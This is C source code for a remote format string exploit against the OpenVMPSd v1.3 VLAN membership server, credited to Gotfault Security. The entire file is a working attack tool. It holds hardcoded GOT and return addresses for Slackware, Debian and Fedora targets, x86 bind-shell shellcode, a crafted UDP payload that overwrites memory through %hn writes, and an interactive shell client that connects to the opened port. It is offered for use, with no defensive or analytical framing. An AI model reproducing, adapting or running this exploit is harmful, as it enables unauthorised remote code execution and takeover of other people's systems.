/*
 * gexp-openvmpsd.c
 *
 * OpenVMPSd v1.3 Remote Format String Exploit
 * Copyright (C) 2005 Gotfault Security
 *
 * Bug found and developed by: barros and xgc
 *
 * Original Reference:
 * http://gotfault.net/research/exploit/gexp-openvmpsd.c
 *
 */

#include <getopt.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>

/*==[ Prototypes ]==*/
void Usage(char *);
void fatal(char *);
int  CreateEvilBuffer(int, int, int, int, char *);
void ExecuteShell(int);
void SendBuffer(int , char *, int);
int  CreateUdpSocket(void);
int  ConectToHost(char *, int);

/*==[ Defines ]==*/
#define  DEFAULT_PORT    1589  // Default server port
#define BIND_PORT    31337  // Default port to bind
#define NOPSIZE      50  // Do not change this value cause the shellcode space is "limited"
#define NOP      0x90  // Nop value
#define PAD      "..."  // Format string alignment
#define PORT_OFFSET    29  // Offset to fix the shellcode

/*==[ Targets ]==*/
struct
{
  char  *Name;
  int  Gotaddr;
  int  Retaddr;
  int  Pop;
}Targets[] =
  {
    "OpenVMPSd v1.3 @ Slackware 10.0",
    0x0804e57c,
    0xbffff4f5,
    19,

    "OpenVMPSd v1.3 @ Debian 3.0 Linux",
                0x0804d0f8,
    0xbffff7ac,
    29,

    "OpenVMPSd v1.3 @ Fedora Core 2",
    0x0804d0f8,
    0xbffff7ac,
    19,

    // Finish
    0,
    0,
    0,
    0
  };

/*==[ Shellcode by Marco Ivaldi <raptor@0xdeadbeef.info> ]==*/
char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
        "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
        "\x89\xc7\x52\x66\x68"
        "BP" // Port to bind
        "\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80"
        "\xb0\x66\xb3\x04\xcd\x80"
        "\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80"
        "\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
        "\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";

/*==[ OpenVMPSd UDP packet header ]==*/
#define SIZE_OF_HEADER 14
char header[] = "\x41\x01\x41\x01\x41\x41\x41\x41\x00\x00\x0c\x02";

int main(int argc, char **argv)
{
  extern  char    *optarg;
  extern  int    optind;
    char    opt;
    char    *Host = NULL;
    int    Port = DEFAULT_PORT;
    int    BindPort = BIND_PORT;
    int    TargetNumber = 0;
    int    Sock,i;
    char    *EvilBuffer;
    int    BufLen;

  fprintf(stdout,"\n--=[ OpenVMPSd Remote Format String Exploit ]\n\n");
  
  // Process arguments
  while ( (opt = getopt(argc,argv,"h:t:p:r:")) != EOF)
  {
    switch(opt)
    {
      case 'r':
        BindPort = atoi(optarg);
        if(!BindPort) Usage(argv[0]);
      break;
      case 'p':
        Port = atoi(optarg);
        if(!Port) Usage(argv[0]);
      break;
      case 't':
        TargetNumber = atoi(optarg);
      break;
      case 'h':
        Host = optarg;
      break;
      default: Usage(argv[0]);
      break;
    }
  }
  if(Host == NULL) Usage(argv[0]);

  // Verify target
  for(i=0;;i++)
    if(Targets[i].Name == 0) break;
  if(--i<TargetNumber) Usage(argv[0]);

  fprintf(stdout,"[*] Target plataform      : %s\n",Targets[TargetNumber].Name);
  fprintf(stdout,"[*] Target host           : %s\n",Host);
  fprintf(stdout,"[*] Target port           : %u\n",Port);
  fprintf(stdout,"[*] Bind to port          : %u\n",BindPort);
  fprintf(stdout,"[*] Target GOT            : %#010x\n",Targets[TargetNumber].Gotaddr);
  fprintf(stdout,"[*] Target Retaddr        : %#010x\n",Targets[TargetNumber].Retaddr);  
  fprintf(stdout,"[*] Target POP            : %d\n\n",Targets[TargetNumber].Pop);

  fprintf(stdout,"[*] Connecting\t\t  : ");
  fflush(stdout);
  Sock = ConectToHost(Host,Port);
  if(Sock == -1) fatal("Could not connect");
  else fprintf(stdout,"done\n");

  fprintf(stdout,"[*] Creating EvilBuffer\t  : ");
  fflush(stdout);
  EvilBuffer = (char *)malloc(strlen(shellcode)+NOPSIZE+strlen(PAD)+515);
  if(!EvilBuffer) fatal("Out of memory");
  BufLen = CreateEvilBuffer(Targets[TargetNumber].Gotaddr,Targets[TargetNumber].Retaddr,Targets[TargetNumber].Pop,BindPort,EvilBuffer);
  fprintf(stdout,"done\n");
  
  fprintf(stdout,"[*] Attacking\t\t  : ");
  fflush(stdout);
  SendBuffer(Sock,EvilBuffer,BufLen);
  fprintf(stdout,"done\n");

  close(Sock);

  sleep(1);

        Sock = ConectToShell(Host,BindPort);

        if(Sock == -1) {
    fprintf(stdout,"[*] Exploit Failed.\n\n");
    exit(0);
  }
        else {
    fprintf(stdout,"[*] Spawning Shell...\n\n");
    ExecuteShell(Sock);
          close(Sock);
  }
}

void SendBuffer(int Sock, char *Buffer, int size)
{
  if(send(Sock,Buffer,size,0) == -1)
    fatal("SEND");
}

int ConectToHost(char *Host,int Port)
{
  struct     sockaddr_in server;
  struct     hostent *hp;
  int     s;

  server.sin_family = AF_INET;
  hp = gethostbyname(Host);
  if(!hp) return(-1);

  memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
  server.sin_port = htons(Port);

  s = socket(PF_INET,SOCK_DGRAM,0);
  if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
    return(-1);

  return(s);
}

int ConectToShell(char *Host,int Port)
{
        struct          sockaddr_in server;
        struct          hostent *hp;
        int             s;

        server.sin_family = AF_INET;
        hp = gethostbyname(Host);
        if(!hp) return(-1);

        memcpy(&server.sin_addr,hp->h_addr,hp->h_length);
        server.sin_port = htons(Port);

        s = socket(PF_INET,SOCK_STREAM,0);
        if(connect(s,(struct sockaddr *)&server, sizeof(server)) < 0)
                return(-1);

        return(s);
}

int CreateEvilBuffer(int GOT, int RETADDR, int POP, int BINDTOPORT, char *buffer)
{
  char    *nops = malloc(NOPSIZE+1);
  char    *ptr;
  unsigned short  *len;
  unsigned short  *portPtr = (unsigned short *)(shellcode+PORT_OFFSET);

  // Fix shellcode
  *portPtr = htons(BINDTOPORT);

  // Header
  ptr = buffer;
  memcpy(ptr,header,12);
  ptr += SIZE_OF_HEADER;
  len = (unsigned short *)(buffer + SIZE_OF_HEADER - 2);

  // Create Nops
  bzero(nops,NOPSIZE+1);
  memset(nops,NOP,NOPSIZE);
  
  // Create format string attack
  sprintf(ptr,
    PAD
    "%c%c%c%c"
                "%c%c%c%c"
                "%%.%dd"
                "%%%d$hn"
                "%%.%dd"
                "%%%d$hn"
                "%s%s",
                ((u_long)GOT),
                ((u_long)GOT >> 8),
                ((u_long)GOT >> 16),
                ((u_long)GOT >> 24),
                ((u_long)GOT+2),
                (((u_long)GOT+2) >> 8),
                (((u_long)GOT+2) >> 16),
                (((u_long)GOT+2) >> 24),
                ((RETADDR & 0x0000FFFF) - 9 - 63),
                POP,
                (((RETADDR & 0xFFFF0000)>>16) + 0x10000 - (RETADDR & 0x0000FFFF)) - 1,
                POP+1,nops,shellcode); 

  *len = htons(strlen(ptr));

  return (strlen(ptr)+14);
}

#define  STDIN      0
#define STDOUT      1
void ExecuteShell(int Sock)
{
  char     buffer[1024 * 10];
  int     count;
  fd_set     readfs;

  write(Sock,"uname -a;id\n",12);
  while(1)
  {
    FD_ZERO(&readfs);
    FD_SET(STDIN, &readfs);
    FD_SET(Sock, &readfs);
    if(select(Sock + 1, &readfs, NULL, NULL, NULL) > 0)
    {
      if(FD_ISSET(STDIN, &readfs))
      {
        if((count = read(STDIN, buffer, 1024)) <= 0)
        {
          if(errno == EWOULDBLOCK || errno == EAGAIN)
            continue;
          else
          {
            close(Sock);
            exit(-1);
          }
        }
        write(Sock, buffer, count);
      }
      if(FD_ISSET(Sock, &readfs))
      {
        if((count = read(Sock, buffer, 1024)) <= 0)
        {
          if(errno == EWOULDBLOCK || errno == EAGAIN)
            continue;
          else
          {
            close(Sock);
            exit(-1);
          }
        }
        write(STDOUT, buffer, count);
      }
    }
  }
}

void fatal(char *ErrorMsg)
{
  fprintf(stderr,"ERROR - %s\n\n",ErrorMsg);
  exit(1);
}

void Usage(char *Prog)
{
  int i;
  fprintf(stderr,  "Usage: %s -h hostname <options>\n\n"
      "Options:\n\n"
      " -t target     : Select the target\n"
      " -p portnumber : Sets a new port number <default: %d>\n"
      " -r bindport   : Sets the port to bind a shell <default: %d>\n\n"
      "Targets:\n\n",Prog,DEFAULT_PORT,BIND_PORT);

  for(i=0;;i++)
  {
    if(Targets[i].Name != 0)
      fprintf(stderr," [%u] %s\n",i,Targets[i].Name);
    else
      break;
  }
  fprintf(stderr,"\n");
  exit(1);
}